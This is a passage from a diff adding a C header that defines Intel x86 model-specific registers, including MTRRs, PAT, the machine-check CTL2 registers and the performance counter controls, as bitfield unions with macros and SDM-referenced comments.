IA32_DCA_0_CAP_HW_BLOCK_BIT 26 +#define IA32_DCA_0_CAP_HW_BLOCK_FLAG 0x4000000 +#define IA32_DCA_0_CAP_HW_BLOCK_MASK 0x01 +#define IA32_DCA_0_CAP_HW_BLOCK(_) (((_) >> 26) & 0x01) + uint64_t reserved4 : 37; + }; + + uint64_t flags; +} ia32_dca_0_cap_register; + +/** + * @defgroup ia32_mtrr_physbase \ + * IA32_MTRR_PHYSBASE(n) + * + * IA32_MTRR_PHYSBASE(0-9). + * + * @remarks If CPUID.01H: EDX.MTRR[12] = 1 + * @see Vol3A[11.11.2.3(Variable Range MTRRs)] + * @{ + */ +typedef union +{ + struct + { + /** + * [Bits 7:0] Specifies the memory type for the range. + */ + uint64_t type : 8; +#define IA32_MTRR_PHYSBASE_TYPE_BIT 0 +#define IA32_MTRR_PHYSBASE_TYPE_FLAG 0xFF +#define IA32_MTRR_PHYSBASE_TYPE_MASK 0xFF +#define IA32_MTRR_PHYSBASE_TYPE(_) (((_) >> 0) & 0xFF) + uint64_t reserved1 : 4; + + /** + * [Bits 47:12] Specifies the base address of the address range. This 24-bit value, in the case where MAXPHYADDR is 36 + * bits, is extended by 12 bits at the low end to form the base address (this automatically aligns the address on a 4-KByte + * boundary). + */ + uint64_t page_frame_number : 36; +#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_BIT 12 +#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 16; + }; + + uint64_t flags; +} ia32_mtrr_physbase_register; + +#define IA32_MTRR_PHYSBASE0 0x00000200 +#define IA32_MTRR_PHYSBASE1 0x00000202 +#define IA32_MTRR_PHYSBASE2 0x00000204 +#define IA32_MTRR_PHYSBASE3 0x00000206 +#define IA32_MTRR_PHYSBASE4 0x00000208 +#define IA32_MTRR_PHYSBASE5 0x0000020A +#define IA32_MTRR_PHYSBASE6 0x0000020C +#define IA32_MTRR_PHYSBASE7 0x0000020E +#define IA32_MTRR_PHYSBASE8 0x00000210 +#define IA32_MTRR_PHYSBASE9 0x00000212 +/** + * @} + */ + + /** + * @defgroup ia32_mtrr_physmask \ + * IA32_MTRR_PHYSMASK(n) + * + * IA32_MTRR_PHYSMASK(0-9). + * + * @remarks If CPUID.01H: EDX.MTRR[12] = 1 + * @see Vol3A[11.11.2.3(Variable Range MTRRs)] + * @{ + */ +typedef union +{ + struct + { + /** + * [Bits 7:0] Specifies the memory type for the range. + */ + uint64_t type : 8; +#define IA32_MTRR_PHYSMASK_TYPE_BIT 0 +#define IA32_MTRR_PHYSMASK_TYPE_FLAG 0xFF +#define IA32_MTRR_PHYSMASK_TYPE_MASK 0xFF +#define IA32_MTRR_PHYSMASK_TYPE(_) (((_) >> 0) & 0xFF) + uint64_t reserved1 : 3; + + /** + * [Bit 11] Enables the register pair when set; disables register pair when clear. + */ + uint64_t valid : 1; +#define IA32_MTRR_PHYSMASK_VALID_BIT 11 +#define IA32_MTRR_PHYSMASK_VALID_FLAG 0x800 +#define IA32_MTRR_PHYSMASK_VALID_MASK 0x01 +#define IA32_MTRR_PHYSMASK_VALID(_) (((_) >> 11) & 0x01) + + /** + * [Bits 47:12] Specifies a mask (24 bits if the maximum physical address size is 36 bits, 28 bits if the maximum physical + * address size is 40 bits). The mask determines the range of the region being mapped, according to the following + * relationships: + * - Address_Within_Range AND PhysMask = PhysBase AND PhysMask + * - This value is extended by 12 bits at the low end to form the mask value. + * - The width of the PhysMask field depends on the maximum physical address size supported by the processor. + * CPUID.80000008H reports the maximum physical address size supported by the processor. If CPUID.80000008H is not + * available, software may assume that the processor supports a 36-bit physical address size. + * + * @see Vol3A[11.11.3(Example Base and Mask Calculations)] + */ + uint64_t page_frame_number : 36; +#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_BIT 12 +#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 16; + }; + + uint64_t flags; +} ia32_mtrr_physmask_register; + +#define IA32_MTRR_PHYSMASK0 0x00000201 +#define IA32_MTRR_PHYSMASK1 0x00000203 +#define IA32_MTRR_PHYSMASK2 0x00000205 +#define IA32_MTRR_PHYSMASK3 0x00000207 +#define IA32_MTRR_PHYSMASK4 0x00000209 +#define IA32_MTRR_PHYSMASK5 0x0000020B +#define IA32_MTRR_PHYSMASK6 0x0000020D +#define IA32_MTRR_PHYSMASK7 0x0000020F +#define IA32_MTRR_PHYSMASK8 0x00000211 +#define IA32_MTRR_PHYSMASK9 0x00000213 +/** + * @} + */ + + /** + * @defgroup ia32_mtrr_fix \ + * IA32_MTRR_FIX(x) + * + * IA32_MTRR_FIX(x). + * + * @remarks If CPUID.01H: EDX.MTRR[12] = 1 + * @see Vol3A[11.11.2.2(Fixed Range MTRRs)] + * @{ + */ + /** + * @defgroup ia32_mtrr_fix64k \ + * IA32_MTRR_FIX64K(x) + * + * IA32_MTRR_FIX64K(x). + * @{ + */ +#define IA32_MTRR_FIX64K_BASE 0x00000000 +#define IA32_MTRR_FIX64K_SIZE 0x00010000 +#define IA32_MTRR_FIX64K_00000 0x00000250 + /** + * @} + */ + + /** + * @defgroup ia32_mtrr_fix16k \ + * IA32_MTRR_FIX16K(x) + * + * IA32_MTRR_FIX16K(x). + * @{ + */ +#define IA32_MTRR_FIX16K_BASE 0x00080000 +#define IA32_MTRR_FIX16K_SIZE 0x00004000 +#define IA32_MTRR_FIX16K_80000 0x00000258 +#define IA32_MTRR_FIX16K_A0000 0x00000259 + /** + * @} + */ + + /** + * @defgroup ia32_mtrr_fix4k \ + * IA32_MTRR_FIX4K(x) + * + * IA32_MTRR_FIX4K(x). + * @{ + */ +#define IA32_MTRR_FIX4K_BASE 0x000C0000 +#define IA32_MTRR_FIX4K_SIZE 0x00001000 +#define IA32_MTRR_FIX4K_C0000 0x00000268 +#define IA32_MTRR_FIX4K_C8000 0x00000269 +#define IA32_MTRR_FIX4K_D0000 0x0000026A +#define IA32_MTRR_FIX4K_D8000 0x0000026B +#define IA32_MTRR_FIX4K_E0000 0x0000026C +#define IA32_MTRR_FIX4K_E8000 0x0000026D +#define IA32_MTRR_FIX4K_F0000 0x0000026E +#define IA32_MTRR_FIX4K_F8000 0x0000026F + /** + * @} + */ + + /** + * Architecture defined number of fixed range MTRRs (1 for 64k, 2 for 16k, 8 for 4k). + */ +#define IA32_MTRR_FIX_COUNT ((1 + 2 + 8) * 8) + + /** + * Architecture defined number of variable range MTRRs. + */ +#define IA32_MTRR_VARIABLE_COUNT 0x000000FF + + /** + * A size of array to store all possible MTRRs. + */ +#define IA32_MTRR_COUNT (IA32_MTRR_FIX_COUNT + IA32_MTRR_VARIABLE_COUNT) + /** + * @} + */ + + + /** + * IA32_PAT. + * + * @remarks If CPUID.01H: EDX.MTRR[16] = 1 + */ +#define IA32_PAT 0x00000277 +typedef union +{ + struct + { + /** + * [Bits 2:0] PA0. + */ + uint64_t pa0 : 3; +#define IA32_PAT_PA0_BIT 0 +#define IA32_PAT_PA0_FLAG 0x07 +#define IA32_PAT_PA0_MASK 0x07 +#define IA32_PAT_PA0(_) (((_) >> 0) & 0x07) + uint64_t reserved1 : 5; + + /** + * [Bits 10:8] PA1. + */ + uint64_t pa1 : 3; +#define IA32_PAT_PA1_BIT 8 +#define IA32_PAT_PA1_FLAG 0x700 +#define IA32_PAT_PA1_MASK 0x07 +#define IA32_PAT_PA1(_) (((_) >> 8) & 0x07) + uint64_t reserved2 : 5; + + /** + * [Bits 18:16] PA2. + */ + uint64_t pa2 : 3; +#define IA32_PAT_PA2_BIT 16 +#define IA32_PAT_PA2_FLAG 0x70000 +#define IA32_PAT_PA2_MASK 0x07 +#define IA32_PAT_PA2(_) (((_) >> 16) & 0x07) + uint64_t reserved3 : 5; + + /** + * [Bits 26:24] PA3. + */ + uint64_t pa3 : 3; +#define IA32_PAT_PA3_BIT 24 +#define IA32_PAT_PA3_FLAG 0x7000000 +#define IA32_PAT_PA3_MASK 0x07 +#define IA32_PAT_PA3(_) (((_) >> 24) & 0x07) + uint64_t reserved4 : 5; + + /** + * [Bits 34:32] PA4. + */ + uint64_t pa4 : 3; +#define IA32_PAT_PA4_BIT 32 +#define IA32_PAT_PA4_FLAG 0x700000000 +#define IA32_PAT_PA4_MASK 0x07 +#define IA32_PAT_PA4(_) (((_) >> 32) & 0x07) + uint64_t reserved5 : 5; + + /** + * [Bits 42:40] PA5. + */ + uint64_t pa5 : 3; +#define IA32_PAT_PA5_BIT 40 +#define IA32_PAT_PA5_FLAG 0x70000000000 +#define IA32_PAT_PA5_MASK 0x07 +#define IA32_PAT_PA5(_) (((_) >> 40) & 0x07) + uint64_t reserved6 : 5; + + /** + * [Bits 50:48] PA6. + */ + uint64_t pa6 : 3; +#define IA32_PAT_PA6_BIT 48 +#define IA32_PAT_PA6_FLAG 0x7000000000000 +#define IA32_PAT_PA6_MASK 0x07 +#define IA32_PAT_PA6(_) (((_) >> 48) & 0x07) + uint64_t reserved7 : 5; + + /** + * [Bits 58:56] PA7. + */ + uint64_t pa7 : 3; +#define IA32_PAT_PA7_BIT 56 +#define IA32_PAT_PA7_FLAG 0x700000000000000 +#define IA32_PAT_PA7_MASK 0x07 +#define IA32_PAT_PA7(_) (((_) >> 56) & 0x07) + uint64_t reserved8 : 5; + }; + + uint64_t flags; +} ia32_pat_register; + +/** + * @defgroup ia32_mc_ctl2 \ + * IA32_MC(i)_CTL2 + * + * MSR to enable/disable CMCI capability for bank n. + * + * @remarks If IA32_MCG_CAP[10] = 1 && IA32_MCG_CAP[7:0] > n + * @see Vol3B[15.3.2.5(IA32_MCi_CTL2 MSRs)] + * @{ + */ +#define IA32_MC0_CTL2 0x00000280 +#define IA32_MC1_CTL2 0x00000281 +#define IA32_MC2_CTL2 0x00000282 +#define IA32_MC3_CTL2 0x00000283 +#define IA32_MC4_CTL2 0x00000284 +#define IA32_MC5_CTL2 0x00000285 +#define IA32_MC6_CTL2 0x00000286 +#define IA32_MC7_CTL2 0x00000287 +#define IA32_MC8_CTL2 0x00000288 +#define IA32_MC9_CTL2 0x00000289 +#define IA32_MC10_CTL2 0x0000028A +#define IA32_MC11_CTL2 0x0000028B +#define IA32_MC12_CTL2 0x0000028C +#define IA32_MC13_CTL2 0x0000028D +#define IA32_MC14_CTL2 0x0000028E +#define IA32_MC15_CTL2 0x0000028F +#define IA32_MC16_CTL2 0x00000290 +#define IA32_MC17_CTL2 0x00000291 +#define IA32_MC18_CTL2 0x00000292 +#define IA32_MC19_CTL2 0x00000293 +#define IA32_MC20_CTL2 0x00000294 +#define IA32_MC21_CTL2 0x00000295 +#define IA32_MC22_CTL2 0x00000296 +#define IA32_MC23_CTL2 0x00000297 +#define IA32_MC24_CTL2 0x00000298 +#define IA32_MC25_CTL2 0x00000299 +#define IA32_MC26_CTL2 0x0000029A +#define IA32_MC27_CTL2 0x0000029B +#define IA32_MC28_CTL2 0x0000029C +#define IA32_MC29_CTL2 0x0000029D +#define IA32_MC30_CTL2 0x0000029E +#define IA32_MC31_CTL2 0x0000029F +typedef union +{ + struct + { + /** + * [Bits 14:0] Corrected error count threshold. + */ + uint64_t corrected_error_count_threshold : 15; +#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_BIT 0 +#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_FLAG 0x7FFF +#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_MASK 0x7FFF +#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD(_) (((_) >> 0) & 0x7FFF) + uint64_t reserved1 : 15; + + /** + * [Bit 30] CMCI_EN. + */ + uint64_t cmci_en : 1; +#define IA32_MC_CTL2_CMCI_EN_BIT 30 +#define IA32_MC_CTL2_CMCI_EN_FLAG 0x40000000 +#define IA32_MC_CTL2_CMCI_EN_MASK 0x01 +#define IA32_MC_CTL2_CMCI_EN(_) (((_) >> 30) & 0x01) + uint64_t reserved2 : 33; + }; + + uint64_t flags; +} ia32_mc_ctl2_register; + +/** + * @} + */ + + + /** + * IA32_MTRR_DEF_TYPE. + * + * @remarks If CPUID.01H: EDX.MTRR[12] = 1 + */ +#define IA32_MTRR_DEF_TYPE 0x000002FF +typedef union +{ + struct + { + /** + * [Bits 2:0] Default Memory Type. + */ + uint64_t default_memory_type : 3; +#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_BIT 0 +#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_FLAG 0x07 +#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_MASK 0x07 +#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE(_) (((_) >> 0) & 0x07) + uint64_t reserved1 : 7; + + /** + * [Bit 10] Fixed Range MTRR Enable. + */ + uint64_t fixed_range_mtrr_enable : 1; +#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_BIT 10 +#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_FLAG 0x400 +#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_MASK 0x01 +#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] MTRR Enable. + */ + uint64_t mtrr_enable : 1; +#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_BIT 11 +#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_FLAG 0x800 +#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_MASK 0x01 +#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE(_) (((_) >> 11) & 0x01) + uint64_t reserved2 : 52; + }; + + uint64_t flags; +} ia32_mtrr_def_type_register; + +/** + * @defgroup ia32_fixed_ctr \ + * IA32_FIXED_CTR(n) + * + * Fixed-Function Performance Counter n. + * + * @remarks If CPUID.0AH: EDX[4:0] > n + * @{ + */ + /** + * Counts Instr_Retired.Any. + */ +#define IA32_FIXED_CTR0 0x00000309 + + /** + * Counts CPU_CLK_Unhalted.Core + */ +#define IA32_FIXED_CTR1 0x0000030A + + /** + * Counts CPU_CLK_Unhalted.Ref + */ +#define IA32_FIXED_CTR2 0x0000030B + /** + * @} + */ + + + /** + * Read Only MSR that enumerates the existence of performance monitoring features. + * + * @remarks If CPUID.01H: ECX[15] = 1 + */ +#define IA32_PERF_CAPABILITIES 0x00000345 +typedef union +{ + struct + { + /** + * [Bits 5:0] LBR format. + */ + uint64_t lbr_format : 6; +#define IA32_PERF_CAPABILITIES_LBR_FORMAT_BIT 0 +#define IA32_PERF_CAPABILITIES_LBR_FORMAT_FLAG 0x3F +#define IA32_PERF_CAPABILITIES_LBR_FORMAT_MASK 0x3F +#define IA32_PERF_CAPABILITIES_LBR_FORMAT(_) (((_) >> 0) & 0x3F) + + /** + * [Bit 6] PEBS Trap. + */ + uint64_t pebs_trap : 1; +#define IA32_PERF_CAPABILITIES_PEBS_TRAP_BIT 6 +#define IA32_PERF_CAPABILITIES_PEBS_TRAP_FLAG 0x40 +#define IA32_PERF_CAPABILITIES_PEBS_TRAP_MASK 0x01 +#define IA32_PERF_CAPABILITIES_PEBS_TRAP(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] PEBSSaveArchRegs. + */ + uint64_t pebs_save_arch_regs : 1; +#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_BIT 7 +#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_FLAG 0x80 +#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_MASK 0x01 +#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS(_) (((_) >> 7) & 0x01) + + /** + * [Bits 11:8] PEBS Record Format. + */ + uint64_t pebs_record_format : 4; +#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_BIT 8 +#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_FLAG 0xF00 +#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_MASK 0x0F +#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT(_) (((_) >> 8) & 0x0F) + + /** + * [Bit 12] Freeze while SMM is supported. + */ + uint64_t freeze_while_smm_is_supported : 1; +#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_BIT 12 +#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_FLAG 0x1000 +#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_MASK 0x01 +#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED(_) (((_) >> 12) & 0x01) + + /** + * [Bit 13] Full width of counter writable via IA32_A_PMCx. + */ + uint64_t full_width_counter_write : 1; +#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_BIT 13 +#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_FLAG 0x2000 +#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_MASK 0x01 +#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE(_) (((_) >> 13) & 0x01) + uint64_t reserved1 : 50; + }; + + uint64_t flags; +} ia32_perf_capabilities_register; + + +/** + * @brief Fixed-Function Performance Counter Control (R/W) + * + * Fixed-Function Performance Counter Control. Counter increments while the results of ANDing respective enable bit in + * IA32_PERF_GLOBAL_CTRL with the corresponding OS or USR bits in this MSR is true. + * + * @remarks If CPUID.0AH: EAX[7:0] > 1 + */ +#define IA32_FIXED_CTR_CTRL 0x0000038D +typedef union +{ + struct + { + /** + * [Bit 0] EN0_OS: Enable Fixed Counter 0 to count while CPL = 0. + */ + uint64_t en0_os : 1; +#define IA32_FIXED_CTR_CTRL_EN0_OS_BIT 0 +#define IA32_FIXED_CTR_CTRL_EN0_OS_FLAG 0x01 +#define IA32_FIXED_CTR_CTRL_EN0_OS_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN0_OS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] EN0_Usr: Enable Fixed Counter 0 to count while CPL > 0. + */ + uint64_t en0_usr : 1; +#define IA32_FIXED_CTR_CTRL_EN0_USR_BIT 1 +#define IA32_FIXED_CTR_CTRL_EN0_USR_FLAG 0x02 +#define IA32_FIXED_CTR_CTRL_EN0_USR_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN0_USR(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical + * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions + * occurring in the logical processor which programmed the MSR. + */ + uint64_t any_thread0 : 1; +#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_BIT 2 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_FLAG 0x04 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD0(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] EN0_PMI: Enable PMI when fixed counter 0 overflows. + */ + uint64_t en0_pmi : 1; +#define IA32_FIXED_CTR_CTRL_EN0_PMI_BIT 3 +#define IA32_FIXED_CTR_CTRL_EN0_PMI_FLAG 0x08 +#define IA32_FIXED_CTR_CTRL_EN0_PMI_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN0_PMI(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] EN1_OS: Enable Fixed Counter 1 to count while CPL = 0. + */ + uint64_t en1_os : 1; +#define IA32_FIXED_CTR_CTRL_EN1_OS_BIT 4 +#define IA32_FIXED_CTR_CTRL_EN1_OS_FLAG 0x10 +#define IA32_FIXED_CTR_CTRL_EN1_OS_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN1_OS(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] EN1_Usr: Enable Fixed Counter 1 to count while CPL > 0. + */ + uint64_t en1_usr : 1; +#define IA32_FIXED_CTR_CTRL_EN1_USR_BIT 5 +#define IA32_FIXED_CTR_CTRL_EN1_USR_FLAG 0x20 +#define IA32_FIXED_CTR_CTRL_EN1_USR_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN1_USR(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical + * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions + * occurring in the logical processor which programmed the MSR. + * + * @remarks If CPUID.0AH: EAX[7:0] > 2 + */ + uint64_t any_thread1 : 1; +#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_BIT 6 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_FLAG 0x40 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD1(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] EN1_PMI: Enable PMI when fixed counter 1 overflows. + */ + uint64_t en1_pmi : 1; +#define IA32_FIXED_CTR_CTRL_EN1_PMI_BIT 7 +#define IA32_FIXED_CTR_CTRL_EN1_PMI_FLAG 0x80 +#define IA32_FIXED_CTR_CTRL_EN1_PMI_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN1_PMI(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] EN2_OS: Enable Fixed Counter 2 to count while CPL = 0. + */ + uint64_t en2_os : 1; +#define IA32_FIXED_CTR_CTRL_EN2_OS_BIT 8 +#define IA32_FIXED_CTR_CTRL_EN2_OS_FLAG 0x100 +#define IA32_FIXED_CTR_CTRL_EN2_OS_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN2_OS(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] EN2_Usr: Enable Fixed Counter 2 to count while CPL > 0. + */ + uint64_t en2_usr : 1; +#define IA32_FIXED_CTR_CTRL_EN2_USR_BIT 9 +#define IA32_FIXED_CTR_CTRL_EN2_USR_FLAG 0x200 +#define IA32_FIXED_CTR_CTRL_EN2_USR_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN2_USR(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical + * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions + * occurring in the logical processor which programmed the MSR. + * + * @remarks If CPUID.0AH: EAX[7:0] > 2 + */ + uint64_t any_thread2 : 1; +#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_BIT 10 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_FLAG 0x400 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD2(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] EN2_PMI: Enable PMI when fixed counter 2 overflows. + */ + uint64_t en2_pmi : 1; +#define IA32_FIXED_CTR_CTRL_EN2_PMI_BIT 11 +#define IA32_FIXED_CTR_CTRL_EN2_PMI_FLAG 0x800 +#define IA32_FIXED_CTR_CTRL_EN2_PMI_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN2_PMI(_) (((_) >> 11) & 0x01) + uint64_t reserved1 : 52; + }; + + uint64_t flags; +} ia32_fixed_ctr_ctrl_register; + + +/** + * Global Performance Counter Status. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ +#define IA32_PERF_GLOBAL_STATUS 0x0000038E +typedef union +{ + struct + { + /** + * [Bit 0] Ovf_PMC0: Overflow status of IA32_PMC0. + * + * @remarks If CPUID.0AH: EAX[15:8] > 0 + */ + uint64_t ovf_pmc0 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_BIT 0 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_FLAG 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Ovf_PMC1: Overflow status of IA32_PMC1. + * + * @remarks If CPUID.0AH: EAX[15:8] > 1 + */ + uint64_t ovf_pmc1 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_BIT 1 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_FLAG 0x02 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Ovf_PMC2: Overflow status of IA32_PMC2. + * + * @remarks If CPUID.0AH: EAX[15:8] > 2 + */ + uint64_t ovf_pmc2 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_BIT 2 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_FLAG 0x04 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Ovf_PMC3: Overflow status of IA32_PMC3. + * + * @remarks If CPUID.0AH: EAX[15:8] > 3 + */ + uint64_t ovf_pmc3 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_BIT 3 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_FLAG 0x08 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3(_) (((_) >> 3) & 0x01) + uint64_t reserved1 : 28; + + /** + * [Bit 32] Ovf_FixedCtr0: Overflow status of IA32_FIXED_CTR0. + * + * @remarks If CPUID.0AH: EAX[7:0] > 1 + */ + uint64_t ovf_fixedctr0 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_BIT 32 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_FLAG 0x100000000 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0(_) (((_) >> 32) & 0x01) + + /** + * [Bit 33] Ovf_FixedCtr1: Overflow status of IA32_FIXED_CTR1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 1 + */ + uint64_t ovf_fixedctr1 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_BIT 33 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_FLAG 0x200000000 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1(_) (((_) >> 33) & 0x01) + + /** + * [Bit 34] Ovf_FixedCtr2: Overflow status of IA32_FIXED_CTR2. + * + * @remarks If CPUID.0AH: EAX[7:0] > 1 + */ + uint64_t ovf_fixedctr2 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_BIT 34 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_FLAG 0x400000000 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2(_) (((_) >> 34) & 0x01) + uint64_t reserved2 : 20; + + /** + * [Bit 55] Trace_ToPA_PMI: A PMI occurred due to a ToPA entry memory buffer that was completely filled. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && IA32_RTIT_CTL.ToPA = 1 + */ + uint64_t trace_topa_pmi : 1; +#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_BIT 55 +#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_FLAG 0x80000000000000 +#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) + uint64_t reserved3 : 2; + + /** + * [Bit 58] LBR_Frz. LBRs are frozen due to: + * * IA32_DEBUGCTL.FREEZE_LBR_ON_PMI=1. + * * The LBR stack overflowed. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t lbr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_BIT 58 +#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_FLAG 0x400000000000000 +#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ(_) (((_) >> 58) & 0x01) + + /** + * [Bit 59] CTR_Frz. Performance counters in the core PMU are frozen due to: + * * IA32_DEBUGCTL.FREEZE_PERFMON_ON_PMI=1. + * * One or more core PMU counters overflowed. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t ctr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_BIT 59 +#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_FLAG 0x800000000000000 +#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_MASK 0x01 